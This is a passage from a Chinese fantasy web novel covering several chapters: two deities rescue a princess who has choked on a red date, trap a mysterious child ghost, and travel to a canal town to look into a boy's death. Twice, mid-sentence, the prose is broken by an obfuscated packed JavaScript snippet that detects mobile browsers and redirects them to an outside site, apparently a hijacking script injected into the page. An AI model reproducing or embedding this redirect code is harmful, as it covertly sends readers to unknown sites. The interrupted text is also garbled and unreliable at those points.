“结为一对”这几个字怎么听来如此别扭,但细想好像又没什么不对,璃音想也无果,便不再去想,拉过摇光一只袖摆:“神君,站稳了。” 便用力收掌一捏,将那黄纸捏作一团,揉进掌心,二人立感身子一坠,便向纸上所写地点坠去。 * 汝陵皇城,时值农历三月,正该到了“雨生百谷”的谷雨节气,今年却是季节倒行,四时大乱,冬日既不见雪,春日也不落雨,春分时就已比往年夏至还热,连着从立春旱到了现在,实在反常。 人间帝王最爱自称天子,最怕被说不应天时,如此反常的气象出在皇城,那还得了?一时间,司天监忙作一团,群臣各自奏疏急谏,其中有一封提到“前朝曾有大旱五年,其时帝携满朝虔心祭天,不出三日,即降大雨”,天子一看,当即喊来司天监择定了吉日,斋戒沐浴,换上冕服,率领各部臣子,大开祭坛,燃符焚香,以求去除天灾,禳保万民。 这边天子正在虔诚下拜,以请天恩,那边揽华公主殿外,却让禁军们擒住了两个胆大包天,敢进皇宫上房揭瓦的毛贼。 俩毛贼一人被一把大刀架住了脖子,就给押去了禁军统领跟前。 宫中进贼本已是大事,今日皇帝携百官举行祭天大典,若是被扰了仪制,更是非同小可,那统领看眼前二人穿纱佩玉,哪里像是寻常小贼,却不要是反贼才好,当即厉声喝问道:“你们是什么人,从实说来!若掺了半句假的,我这刀子却不长眼。” 他这几句话吼出来中气十足,那俩毛贼却似充耳不闻,竟就在他面前你一言我一语地聊起来了。 只听那青衣女贼道:“神君怎的没显仙轮?” 又听那蓝衣男寇道:“我看老师不显,察言观色,以为另有深意,故而未敢妄动。” 那青衣女贼沉默数息,又道:“神君以前应该很少做察言观色这种事吧,这很好,答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361709|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,往后也别做了,好吗?” 那蓝衣男寇立刻从善如流道:“学生见教了。” 那统领听他们一会儿老师,一会儿神君,只当这二人在耍弄自己,正要发怒,却忽地眼前一阵耀眼白光闪来,便如那天上日头掉进眼里,直被刺得闭了眼睛。 再睁眼时,却见那蓝衣男寇身后升着一轮祥光,那青衣女贼伸手往前一摊,便把手掌摊去了他眼前,倏的一下,掌心便窜出一张符纸,只听她说道:“你们今年这符却是请哪位道士画的?怎的还画歪了两笔,害得我们落错了地方。” 拿刀架着这二人的两个小禁军相顾一眼,都悄悄把刀收回,偷把眼去瞧那统领。 那统领照着其中一个小禁军的屁股就是一踹:“这也是个没眼力见的,还不快去通报陛下!” “是!是!胡统领。”那小禁军夹着屁股,三步一跌,爬起又奔,一溜烟地就往祭坛去了。 胡统领正要请二位仙人先往偏殿一候,却见那青衣少女腕间闪过一道青光,只见她立时收掌抬眸,身子一晃,便已闪身在揽华公主寝殿的屋檐之上。 那青衣少女在房顶走了几步,忽地伸手一拦,似是拦下了什么人,就张口与那人交谈了起来,胡统领耳力好,借着顺风,依稀听得她问了一句:“公主何往?” 这一听不禁叫胡统领大吃一惊,揽华公主自年初随陛下南巡回来,就整日把自己关在揽华殿中,那殿门已不出不迈了三个月,公主自小活泼好武,虽也善骑射,有些耍刀弄枪的本事,但要飞檐走壁,他这个禁军统领尚且不能,公主又如何会在那屋瓦之上。 正惊异间,就见那青衣少女已又闪身回来,手中似乎还牵着虚空里的什么人。 这少女长得虽美,不笑时却面如冷玉,叫人无端不敢攀谈,此时那冷玉般的小脸上眉尖一蹙,向他开口道:“胡统领,揽华公主恐有不妥。” 胡统领心中一个咯噔,连忙问道:“如何不妥?” 揽华公主自年初回宫就已不妥,但这位少女口中的不妥,显然不只是闭门不出这么简单。 “望仙桥,小儿殇,父即死,母断肠。” 那少女轻轻念出一首最近流传在民间的小语,胡统领心中又是连续几个咯噔。 原来揽华公主随父王南巡之时,曾策马途经一座望仙桥,她是宠妃德妃唯一的女儿,惯来娇纵,又自恃骑术精湛,便去到街市也不下马,更遑论过桥,于是那皇马四个蹄子胡乱一扬,就把个六岁不到的男童踢翻在桥上,飞蹄不歇,踏起一番尘土,那公主头也不曾回得一下,自策马扬鞭,哒哒地去了。待守桥人奔得去扶时,那小儿早已断了气,小儿的父亲不堪噩耗,整日里神思恍惚,没几天就在田埂上栽了一个跟头,闷头摔进一条通沟小渠,又没力气翻身,就这么在一个小水沟里淹死了。 这事在望仙镇闹得沸沸扬扬,只那踩死人的是皇家的马,那骑马的又是圣上面前最受宠的小公主,莫说要去天家面前讨个公道,便是去讨一根马毛都不敢,于是就有些不忿的文人编出这首小词,这词一路从望仙镇传到了皇城,城里谁人没有听过,却没有一个敢在皇宫之中,尤其就在这揽华殿外面念出来的。 只听那少女又道:“胡统领,再去得迟些,恐怕你们公主就要断气了。” 就在这时,两个婢子慌慌张张从殿内跑了出来,其中一个跑掉了一只鞋,另一个边跑边抹着泪,口里大声叫道:“不好啦,公主……揽华公主没啦!” 17. 第16章 小儿鬼 那俩宫女不迭声地哀嚎,一路嚎过胡统领跟前,嚎去了德妃宫中。 那揽华公主的游魂原本痴痴呆呆的,璃音方才在房顶将她拦住,问她:“公主因何事惊了魂,走失在这里?”她就怒目圆睁,手里扬起一根马鞭骂道:“我是公主!凭你也敢冲撞我?”璃音又问她:“公主何往?”她又四顾迷茫起来,答的是:“望仙桥,小儿殇,父即死,母断肠。” 此刻她被那两位宫女这么一顿大喊,倒给喊回了几分清醒,她看一眼璃音牵着自己的手,又看一眼站在一旁凝目不语的摇光,忽而大笑道:“原来黑白无常不是一黑一白,却是一青一蓝,长得也都是这般好模样,罢,罢,阴山道上有这般相貌作陪,我也值了。”说着竟就抬起手来,要往摇光的脸上摸。 这公主也是有意思,以为自己死了,第一件要紧事竟是摸一把美男的脸,还真是做鬼也风流。 璃音一把将公主那只蠢蠢欲动摸向美男的手按下:“公主,你现在却还没死透,这种调戏良家妇男的事,还是等回了魂再做吧。” 摇光笑道:“公主,若还想再活一活,便带路吧。”话是对揽华说的,一双桃花眼却闪着粼粼碎光,望在那青衣少女的手上。 揽华将目光去青蓝无常脸上转了一圈,半晌,丢下一句:“这样在阴山道上走着却没意思了。”挣开手,转身回殿。 胡统领身为外男,本不该入公主殿中,但此时情势非常,却也顾不得了,迈开步子,就跟了上去。 揽华自幼习武,筋体强健,行事无拘,走起路来,脚下步子跨得老大,头上步摇甩得飞起,一直就走去了自己卧房床头。 床头密密麻麻贴了满墙的符纸神像,有耍着大刀的关公,有挥着宝剑的钟旭,还有那弯弓射日的后羿……都是些武力惊人、能驱邪镇宅的神君。 床上躺着一副女体,鼻子已不往外出气,两只眼睛却还圆溜溜地睁着,正是揽华公主。 锦绣金线铺织成的被面上一片污湿,璃音凑近一看,原来是翻了半碗红枣银耳粥在上面,瓷碗和小勺都凌乱碎在地下,可以想见宫女奔出殿门时的慌乱。 揽华怔怔看了会儿床上躺着的半死人,忽然开口道:“活也活不好,死又死不掉。” 这话竟说中了璃音心事,不由地点头感叹:“我以前只道活着艰难,这些年才知求死也难,你若真心要死,我也不来救你,你自去外面游荡个一年半载,到时这身子自然死透了。” 揽华听了这话,一时沉吟不语,似是自己也不确定到底要死还是要活。 正沉默间,摇光突然大步上前,一把就将揽华那抹游魂拍回了体内。 璃音惊道:“她还没决定好……” “她却是不想死的。”摇光第一次这样直接无礼地打断她说话,“她若已决意要死,就不必回来,也不会犹豫,更不会要来碰我的脸。” 前面几个理由还说得尚可,最后一句却脸皮厚得令人发指,勾得璃音舌根里毒性大发:“神君仙姿卓然,原来不止养眼还养心,寻死之人看上一眼也不要死了。” 摇光也不着恼,只把璃音深深望着,说道:“她只是对世间还存有欲望,存着期待,尚有留恋,只她太把心思放在‘要不要死’这件事的挣扎上了,容易忽略这些。” 璃音偏头躲开他的眼神,见揽华仍是不醒,取下腰间那只青铜铃铛,去她耳边一摇:“神君或许说得不错,只神君不知,有时候,一个人想活是真的,想死却也是真的,你不能说他不想活,也不能说他不想死。” 那胡统领站在屏风外面,只听得里边这两位仙人口中生生死死、死死生生地绕来绕去,却不闻揽华公主半点动静,心中焦急,终于忍不住向屏风那边叫道:“二位大仙,公主究竟是生是死,好歹都给句话啊!” 璃音也正自奇怪,这位揽华公主只是一时丢魂出窍,如今三魂七魄归位,却如何摇了引魂铃还不醒。 忽听得外面一声嗓子吊得尖尖的太监传报:“皇上驾到——德妃娘娘驾到——” 在一片禁军的跪地参拜声中,就从屏风后面急急地转出两个人来。 那女子身穿杏黄金彩绣绫裙,头戴金步摇,足踏缎绣靴,一路疾步而来,发髻都散了一缕,见着女儿停了呼吸、面无血色的样子,登时伏在床边啜泣不止。 那男子显是刚从祭坛赶来,皂服也未及更换,眼下乌青隐隐,看是许久没能睡得稳当了,他虽面有忧急,还是先来拜会了两位仙人:“不知两位仙长驾临到此,招待有失,万望勿怪。” 跟着又进来两名宫女,正是先前从殿里跑出去的那两个,哆哆嗦嗦地收拾起了地上那些碎瓷碗片。 璃音前世已与这位昭宁皇帝会过面,也对他有过一番探查,登基二十三年,执法有度,勤政爱民,算得上是一位仁君,只膝下儿女不多,只有二子一女,于是个个娇纵,全给宠得鼻孔朝天,难接地气,不得民心,反叫子女带累了自己贤名。 璃音道:“无需什么招待,此处旱情我已知悉,不日便有雨神前来赐雨,陛下无需忧心。” 昭宁皇帝面色只稍霁了一瞬,便又笼上忧色:“感蒙仙长大恩,小女顽劣,死不足惜,只孤膝下子嗣凋零,二子不亲,只这一个姑娘尚可承欢,还望仙长垂怜,略施搭救。” 德妃也忙起身下拜:“乞请仙长搭救。” 璃音将她扶起,去向那边两个收拾了碎碗的宫女问道:“你们公主是如何断气的?” 这话问得过于直接,那问话的青衣仙子面色又冷,冷得两个宫女手一抖,就叮铃哐啷一阵响,原本碎成八瓣的瓷碗这下碎成了十六瓣。 其中一个圆脸宫女已吓得跪在地上哭了起来,正是先前跑丢了鞋的那个,只听她颤着身子,边哭边道:“公主连日气色不好,休卧在床,今早醒来,难得说精神不错,就问小厨房要了点红枣银耳粥来喝,谁知……谁知没吃了几口,忽然整个人倒去床上,那眼睛分明睁着,却……却呼不出气了,这粥是奴婢伺候来的,奴婢……奴婢……” 另一个宫女身子瘦小,嗓门和胆子却大,捧起一片碎瓷就上去舔了一口:“这粥奴婢试了口,便是给奴婢们一万个胆子,也不敢给公主投毒,还望陛下和娘娘明查!”边说边一片一片去舔那碎碗。 璃音见她们这样却是一愣,这两位是不是误会什么了…… 摇光皱眉道:“你们不必如此。” 两个宫女都停下动作看他一眼,但看完这一眼之后,就一个哭得更狠了,另一个也舔得更快了。 璃音横过眼来一望,就见摇光飞剑似的眉毛皱在一块,那脸臭得不能再臭,忙道:“神君,注意表情管理。”她只道这两位宫女是被这位神君的臭脸吓成这样的,却不知自己的冷脸也颇有一份功劳。 摇光当即收敛了眉目,面上一派恭谨乖巧:“是,老师。” 孺子可教,璃音满意点头,一瞥眼看见地上滚落的一颗红枣,再细想公主丢魂时的情状,她立马“啊”的一声,向那两个宫女道:“你别哭了,你也别舔那碗了,快将你们公主扶起来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368908|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实璃音力气大得很,扶起三个揽华都是绰绰有余,她只是想给这两个宫女找点事做,别只顾着跪在那里害怕罢了。 昭宁皇帝摆手让她们起身:“这些事都容后再说,快先听仙长的。” 两个宫女这才千恩万谢地起了身,将揽华公主扶着身子坐了起来。 璃音坐去床上,贴住她后背,从她身侧环过两只手臂,都握拳控住她小腹,膝盖就去她背上狠狠一顶,只听得一声干嗽,揽华嘴巴一张,就从口内喷出一大颗红枣来。 原来这公主竟是被一颗大枣糊住了喉管,这才不省人事,此时那颗枣子被璃音顶了出来,公主也就渐渐有了喘气,漆黑的眼珠子也不呆了,一转一闪,光彩便回来了,揽华公主醒了。 两个宫女一片声叫道:“醒了!醒了!” 殿内众人都松一口气。 揽华醒来,小嘴一扁,就喊:“父皇,母妃……咳咳……”没说几个字就又咳嗽起来。 德妃忙上来抹起女儿的胸口,给她顺气:“先把气理顺了,不急着请安说话。” 璃音问道:“公主方才吃粥时,可是被什么东西惊了魂?” 揽华虚弱地靠在璃音怀里,又咳了两声,把眼睛都咳得红了,才道:“我……我又看见他来我床头坐着了。” 德妃抚着她胸口的手一顿,昭宁皇帝沉吟半晌,也只得长叹一声。 璃音追问:“你看见谁了?” “是那个在桥上被马踢死的小孩。”昭宁皇帝叹道,“仙长有所不知,年初时候,小女在望仙桥上纵马,不慎叫马踢死了一个小儿……” 话到此处,揽华立刻大声反驳:“不是我纵马!是他忽然冲过来,惊了我的马!” “不知悔改的东西!”昭宁皇帝怒声,“到现在还要争这些说辞,说来说去,却不是你骑马把人家踢死了?” 揽华公主却丝毫不怕父亲发怒似的,也提高声音道:“我说的都是事实,凭什么不让争辩!那桥拱得厉害,他人又小,我正勒着马脖子慢慢上桥,它那四条腿走得比我两只脚还慢,谁能知道另一头突然就冲出来一个小孩,把马吓得勒也勒不住,足足跑出十里地才停,还把我也摔了。” 她一把掀起一只袖子,露出一条爬满狰狞疤痕的胳膊,叫道:“他把自己撞死了,倒有爹娘疼,有天下的百姓疼,做了鬼还要每晚来我床头坐着,寻我的晦气,只我这摔出来的伤什么也不是,却又找谁说理去!” 说着就往前一扑,扑进母亲怀里,委屈地大哭起来。 德妃连忙抱紧女儿哄道:“不哭不哭,娘疼你。” 昭宁皇帝越看女儿这样,越是来气:“你以为别人都要和你母妃一样纵着你,闯什么祸都哭一哭就没事了,我这次非要把你拉去那荀家小儿的坟上,响响亮亮去给人家磕头,什么时候把这个鬼磕走了,什么时候再回来!” “陛下,哪里真有什么鬼,揽华不过是被噩梦魇着了,都是自己吓自己。” 德妃又要哄着怀里这个小的,又要顾及身边那个大的,左右周旋,头痛不已。 “公主见到的恐怕并非梦中幻象。”璃音瞧着身后满墙的镇鬼神像,忽然就笑着从里面挑出一张,递去摇光手上,“不知神君想的可与我一样?” 摇光接过一看,就见画像上一个满脸胡茬,肤色黢黑,胸肌把身上金甲都撑得爆开的威猛将军,左边一行小字:“北斗第七天关破军星君摇光”。 他不动声色合上那副画像:“老师心中所想,可是小儿鬼?” 18. 第17章 床头鬼话 皇帝虽生女儿的气,听了两位仙长说女儿房里竟真的有鬼,又不免为她担心,忙问:“仙长,小儿鬼却是怎么个说法?” 摇光道:“多是一些早亡的小儿所化,只跑得快,有些难抓,却并不伤人。” 璃音摩挲着腕间那只无字铃铛,她也确实疑心是小儿鬼作乱,便又去问揽华:“公主可曾看清那鬼魂是何等模样?” 揽华窝在母妃怀里,忙不迭点起头来,嘴里便如倒豆子一般,把这几个月来夜里发生的怪事一股脑儿往外倒:“他扎两个角辫,圆脸盘,圆眼睛,尖嘴巴,尖鼻梁,看着约摸六岁上下,每晚到了丑时左右就先哭一阵,这时却瞧不见人,哭一会不哭了,等我睡着,就来我耳边问:‘你为什么要杀我’,我醒过来,就看到这个小孩儿坐在床头,我就说:‘不是我杀的你’,让他走,有时候他也不出声,我半夜惊醒,就看到他瞪着眼睛在我床头呆坐,然后每次赖到太阳快要出来,就不在了。” 昼伏夜出,又爱夜啼哭闹,听着倒像是小儿鬼的,只是却也有两处奇怪,其中一处,便是小儿鬼其实专扰小儿,说到底是孩子心性,独爱去同为小孩儿的床上蹦跳啼闹,但是考虑到公主和这小儿之间的一番牵扯,他来闹这位揽华公主,却也勉强说得通。 德妃亦不曾想到竟真有其鬼,忙向两位仙长请教:“却是孽缘,不知有何化解之法,也可早日送那位可怜人超脱。” 璃音便指点揽华:“这个不难,小儿鬼不过是些早夭的亡灵,并无恶意,许是觉得你杀死了他,就一路跟着你来到了这殿中,徘徊不肯去,你只需将他原身好生安葬,再引他回去故土墓中安息,这就没事了。” 昭宁皇帝听了这话,又一把去将女儿拎了出来,发起恼道:“你若早听我的,去人家坟前磕了头,认了错,你这被吓得卧床不起的病也早好了。” 摇光却道:“究竟是不是小儿鬼,此时还下不得定论。” 他向璃音腕间那只无字铃铛投去一瞥:“引魂铃却不曾向老师示警。” 这正是第二个奇怪之处。 倘若真有这样一抹孤魂野鬼游荡在此方宫殿之中,引魂铃不应该察觉不到。 璃音想了想,说道:“不如今晚我就在这床上陪公主睡上一夜,是梦是鬼,等他现身,自有分晓。” “好啊好啊!”揽华两手一拍,兴奋不已,“你陪我睡,那另一位仙长呢?”小眼神就不断往摇光那里飘,露骨直白,竟像是在邀请三人同盖一张大被。 因昨夜被那只黄脸鹦鹉用“你陪我睡”这四个字折磨了一晚,璃音这时一听这四个字就过敏,她虚虚往摇光脸上一望,就望见他一双桃花眼正似笑非笑地看着自己,显然也是想到了她昨晚的那句孟浪之言。 璃音此刻只想赶紧逃离这个话题和这份尴尬,于是去公主眼旁挥一挥手掌,斩断她炽热的视线,也顺道斩断她的美梦:“那一位仙长不在晚上睡觉。” 岂料公主的美梦能屈能伸:“不在一起睡觉,那在一起躺着聊聊天也是好的。” 昭宁皇帝听了老脸一红,对女儿喝道:“成何体统!岂可如此冒犯仙君。” 摇光倒似没有生气,只把手中那张黑过李逵、状似牦牛的摇光画像贴回了公主床头:“就叫它陪公主睡吧。”眸光流转,似有笑意:“届时,我会在门外守着老师。” 璃音立即点头表示了赞同:“神君这个安排甚好,今夜便就如此行事。” 商议已定,璃音先写了一封雨神的求调令,召来青鸾使者,给西王母带了过去,又赴了昭宁皇帝备下的一桌丰盛筵宴,但显然人间的厨子不会知道摇光那一百个忌口,他无从下筷,但也没发作,最后只夹了一根青菜。 璃音对他这番进步进行了一番嘉奖,很快夜幕降下,二人便按照计划去了揽华的寝殿,一里一外地守着,静静等候那位小儿鬼的来临。 看看丑时将至,揽华窝在被子里,小声道:“快开哭了。” 等了一会儿,丑时已过,却不闻哭声,揽华奇道:“自我三月前回宫,这哭声夜夜丑时必到,从未有过一天间断,今天却怎的不哭了?” 忽然想到什么,又道:“却不要是得知仙长在此,不敢前来。” 璃音躺在里侧摇头:“不会,小儿鬼说到底仍是小儿,心思单纯,就是你床头贴着的这些神仙全都站来你门口,他也不会理,只知道要来床上找你玩。” 揽华鼓起腮帮子:“谁要陪他玩,还嫌带给我的晦气不够多么。” 璃音看她心有不忿,好奇:“公主为何不肯听你父皇的,去他坟前看看。” 揽华哼了一声,道:“若要我去祭奠他,倒也没什么,但父皇非要我去磕头,不就是要我认错给全天下的人看?这事我就算有错,那也是他自己的错更大些,我的马儿受他这一惊,差点把我也给摔死了,还害我背上这样的骂名,他死了是倒霉,难道我这样平白受伤挨骂,就不是倒霉?哼!我就是死了,也不要去给他认错。” 璃音盯着揽华的脸看了一会儿,沉默半晌,说道:“其实公主也很自责吧,心中觉得他可怜,但是更气恼他这一死,故事全凭众人传说,死者为大,事实再也掰扯不清,公主只得将这恶名永生永世地担下去了。” “仙长竟会读心。”揽华幽幽地望了璃音一眼,又幽幽地叹一口气,“我便送他一副黄金打的棺材又如何?那些乱传故事的人只会当我是被怨鬼缠身,得了报应,终于心虚了,怕了,然后又不知道要编出什么小词小调来讥讽我,我就死犟到底,偏不叫他们如愿。” 千夫所指的滋味璃音是尝惯了的,便如钝刀子割肉,刀刀不要命,却刀刀要你痛,并不比一命呜呼来得痛快。 便在这时,床头忽然一个声音响起:“你为什么要杀我?”那声音凄楚又茫然,似是藏了无尽委屈。 璃音一转眼,就见床头坐了一个小孩儿,六岁模样,扎着角辫,脸圆眼圆,翘嘴尖鼻,正与公主先前描述的一般无二。她抬手看了看腕间那只无字铃铛,依然不亮,这只铃铛能自行感应天地一切游魂,乃是一只示警铃,此时不亮,说明这小鬼竟非同小可。 “神君!”璃音倏地起身,提声一喝。 摇光立刻闪身来了殿里:“学生在。” 见有他在侧,璃音便再无顾虑,体内原本阻塞的灵力立时通畅,她右手五指一翻,兰花印扣起,腕间叮铃之声响过 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揽华也是第一次瞧见这小鬼走路的样子,此等怪异恐怖,直看得她毛骨悚然,不禁惊叫一声,躲去了璃音身后。 他走路时虽一停一拐,两只小腿却倒腾地极快,眨眼就已快要走出殿门。 摇光右手去虚空中一握,便把破军召了出来,他执剑疾划,蓝白色剑光如银河落瀑,在空中划出纵横各一十九道经纬交错的直线,恍若一个巨大的棋盘,盘上四个角落的星位上白光闪动,好似真有星子做棋,落在这银河之盘。 接着剑身一横,就推着这棋盘打去了殿门之上,而长剑就如同一根冰冷的铁门闩,牢牢将殿门插住。 璃音同时闪身上前,指叩前额,念动锁魂咒:“灵渊止水,神魄归息,禁!” 那小鬼额前青光一闪,登时止步,却还能动作,只见他身子不动,却把头慢吞吞转了过来,向璃音道:“天亮了,我该走了。” 璃音改催动“黄”字铃铛,魂术破甲之力大增,那小鬼眼神一滞,就一动不能动了,璃音抓紧时机问道:“为什么不回家?” 那小鬼道:“我怕见到我爹。” 璃音想起他爹因悲痛过度,神思恍惚,已在水沟里淹死了,难道这小鬼是心中愧疚,不敢回去面对父亲的亡魂? 璃音道:“父子缘分一场,你爹见到你只会高兴的。” 那小鬼又道:“家那边有人杀我。” 璃音向缩进床角的揽华看了一眼,道:“杀你的人不跟你回去,我送你回家如何?” 那小鬼正要回答,却只听得宫中钟鼓楼上晨钟敲响,报起了亮更,这次天是真的亮了。 清晨第一缕阳光透过门缝,照来了那小鬼的身上,那小鬼眼神一凛,额前青光顿消,慌慌张张地叫了一声:“天亮了,我该走了!”就原地散作一团白光,隐入那一小束晨光之中,再瞧不见影踪了。 摇光神色微变,挥手将门上阵法撤去。 璃音收了法印,扒着门缝左看右看,看了一圈,奇道:“这小鬼究竟是什么来头,竟连你的‘星罗棋布’都困他不住。” 19. 第18章 哐哐复原大阵 璃音看破军敛了星芒,蔫蔫的,被摇光握在手里,薄薄的日光打在那冰铁似的剑身上,竟似都被它吞了进去,没有一点能折返,想起它方才守门时浑身闪着寒光、凝落九天星子的威猛模样,又想一想自己腰间那只只会噬魂嚼魄、扰她心神的葫芦,璃音不禁去那剑柄上拍了拍,有心安慰,却也是由衷赞道:“神君,你这把剑,长得可真气派。” 却不想破军经她这一拍,身子一颤,就颤出委屈的嗡嗡剑鸣。 璃音缩手,怎么夸它它还生气了? “它以为你在骂它中看不中用。”摇光面无表情地把剑收了,“不用理它,又在和我撒娇罢了。” 璃音心中啧啧感叹:这会儿表现得这么依赖,前世神君一死,还不是立马另找新欢。 这时揽华小心翼翼挪着步子走了过来,神色难安地扯上摇光袖摆:“仙长,他是跑了么?快再去捉呀!” 璃音摇头:“他白天不会再出来了。” 这小鬼能同时从摇光的星罗棋布阵和她的锁魂咒中逃脱,绝非普通的小儿鬼这么简单,或许已然化厉化煞,甚至或许,就与那神秘莫测的鬼王有关。 虽然这些都只是毫无实证的猜想,但事关鬼王,璃音总是不肯轻怠,那小鬼今晚也不知还会不会再出现,她微一沉吟,向摇光道:“神君,可愿陪我去望仙镇走一趟。” “学生自当奉陪。” 揽华急道:“那我呢?今天晚上我怎么办?” 璃音咬破手指,提步走到公主榻边,就去床上画下一个血光淋漓的大阵:“这样可保你无虞了。” 这阵法看着阴森森、血淋淋,一转动起来,像个沸腾的大血池子,那噼啪流转的红光好似咕嘟咕嘟冒着泡的血水,叫人怀疑里面煮了一锅白骨,揽华捂嘴欲呕,只觉得这法阵像是要吃人,比那每晚只会呆坐乱哭的小鬼要邪乎吓人多了,她有些艰难地问道:“这是什么阵法?” 璃音听揽华这么一问,却是一愣,思忖片刻,缓慢开口道:“哦,这个啊……这个叫做‘哐哐复原大阵’。” 揽华听她这么一答,也是一愣,呆呆重复道:“哐哐……复原……大阵?” 摇光垂眸一笑,不知在想些什么。 其实这个阵法,璃音曾在虞家村也留下过的,正是她在月牢里胡乱琢磨时修复的那个上古残阵。它被记载在一卷昆仑古籍中,只是年久日长,墨迹黏连,便连书页也有所破损,这阵法的一半名字便和那脆黄纸张的一角一起,遗落在不知哪处时光的尘埃里了,给后人留下的便只有“复原大阵”这四个字。后来有修复古籍的仙子将书页补齐,苦于文字缺失,只好以两个方框取代,这名字看上去就成了“□□复原大阵”。 璃音在心里琢磨它时,觉得有趣,就结合功效,再辅以谐音,给念作了“哐哐复原大阵”。 这毕竟不是人家的正经名字,但它又实在没个正经名字,所以适才被揽华一问,璃音一时竟不知该如何作答。 见揽华听了这诨名后一脸怀疑阵法效果的样子,璃音忙给这上古大阵正名道:“你只要在这个阵里,便无论是伤了还是死了,它总能将你复原成入阵时的样子。” “还缺一个引子。”此时阵法流转间红光止歇,正化作蓝白色冷光翻涌,摇光捏指作剑,便去一片寒光中点上了七颗星子相连,形如木杓,正是北斗之状。 璃音登时双眼大亮,脱口道:“妙哉!妙哉!北斗定四时、看四方,有此作引,岂不是在时空长河中,心念所至,皆可复原。”顿了顿,又惋惜道:“只是如此,却不知我还能否将它启动了。” 阵法的威力愈大,启动时需要付出的代价自然也是愈大,前世昆仑十位神巫为诛尽恶鬼,开启“血灵大阵”,便只得以神魂为祭,一个也不剩地陨落了。 现在这床上的“哐哐复原大阵”经摇光一改,已然成了一个能随心所欲逆转四时、完全无视宇宙法则的奇阵,启动它的代价可不会是她这小巫的几点心头血,或是一片魂灵那么简单了。 摇光似是看出她心中顾虑,挥手将那阵法隐入无形,说道:“那小鬼看来并不作恶伤人,老师无需动用此阵。” 揽华听了半天,就听懂了这一句,但她真恨不得没听懂,心头浮起淡淡的崩溃:“所以,你们往我床上埋了这么一个血糊糊的吓人大阵,然后它其实根本用不上,对吗?” “有备无患,有备无患。”璃音干笑两声,一把将摇光扯了过来,“揽华公主,今夜你就放心入睡,我们先去望仙镇瞧上一瞧,告辞。” 说着,腕间“宙铃”一闪,就拉着摇光一起,都不见了。 * 望仙镇三面环山,一面临水,举目远山重重,脚下溪涧回环,是伏龙山脚下一个僻静的小镇。 因山路难行,镇上的水路便格外通达,五步一船,十步一桥,不过才行了三里多路,璃音便将各种长的短的、平的拱的、石的木的大桥小桥都见识了一遍。 她一路问着街上行人,和摇光走走停停,跨过五六个板桥,又转了七八个湾,终于在一窝低矮的村乡小屋前面,找到了荀家小儿惨死在上面的那座望仙桥。 桥下的屋舍造得十分杂乱,最近的一户甚至都快堵到了桥头。 桥身确如揽华公主所说,拱得十分厉害,璃音上坡时,便完全望不见从另一端拱脚上来的行人,行至拱顶处,忽然就有一个小儿迎面奔来,他人往前边跑,头却扭向后边看着,嘻嘻哈哈,手里舞着半截树枝,显然正在和身后的什么人追逐打闹,一转眼,就已经要撞去璃音身上,被摇光及时从旁边伸出一只胳膊,拦了下来。 看来揽华公主的那些话也并非狡辩,不是马要踢人,却是人先惊了马,看桥上这副情形,倒极有可能是真的。 那小男孩儿也是五六岁模样,穿着粗布麻衣,扎着角辫,被摇光的胳膊这么一撞,该是撞疼了,立时小嘴一扁,就要哭闹。 只那哭声还未来得及冲出喉咙,就已有一个阔面大汉从璃音身后冲了过来,一把抓住那小孩的小辫儿,就骂道:“这里是什么跑马场,一个两个不要命地在这上面冲,是嫌跑死了你哥、气死了你爹还不够,要把你娘也急死才叫开心。” 又指着拱脚处一个探头探脑的小男孩儿,高声叫道:“你小子也别跑。” 那小子身子一抖,立刻丢下桥上这位被逮个正着的倒霉蛋,撒开脚丫子跑了。 那大汉翻过手底下男孩战战兢兢的身子,去他屁股上狠狠打了两下,那男孩立时手扑脚蹬,哇哇哇地乱哭乱叫起来。 那大汉终是没忍心落下第三下,长叹一声:“真不知道你们要到什么时候才能懂点事。”便放了手。 那男孩儿捂着屁股,大喊一声娘,就立刻飞也似地逃走了。 璃音听他话中意思,这小孩儿竟与那被撞死的荀家小儿是一对兄弟,便向他问道:“阁下高姓,可认得那跑走的小孩是谁家的?” 那大汉目光一扫,扫过眼前二人,见都是通身的气派,又都是冷傲的气质,不由得就被勾起了一些不好的回忆,那语气便也就不甚客气:“你们也不必总来寻根刨底地打听,小人姓高,不过是拿了银子,在这里守桥的粗人,那小孩是荀家的老二,他大哥前些日子冲撞了贵人,已死在这桥上了,不想老二今日又惹了您二位大人物,他不过一个五岁的小孩儿,玩心重了点,却不知你们又要将他怎的?” “你——” 摇光正要开口,璃音虽不知他要说些什么,但依着这位神君的大脾气,听了这样一番不甚客气的言语,料想他也说不出什么动听的好话,就忙抢了他的先,冲那守桥的大汉甜甜一笑,说道:“高大哥,我们确实是奉公主之命,为荀家的事而来,却不是要来找事,而是想要见荀家娘子一面,商议着将大公子重新厚葬了。” 璃音这笑是在凡间当高官嫡女时,专由礼仪嬷嬷教着,对着镜子练了千百次,练得嘴唇发颤、嘴角僵麻,才好不容易练出来的,她不笑时是个天然的冷脸,父母便担心她在外走动时,难免不会碍了某些脆弱多心人的眼,就刻意让她练成了这样一副比她真笑还甜美的假笑面具,有需要时就戴上,虽然她不知这有什么用处,但显然,大家都很吃这一套。 自从上了昆仑山,就少了人间官场中的那些虚与委蛇,这面具她也是许久不曾戴过了,虽有些生疏,幸而肌肉记忆还在,必要时,还是能拿来用一用。 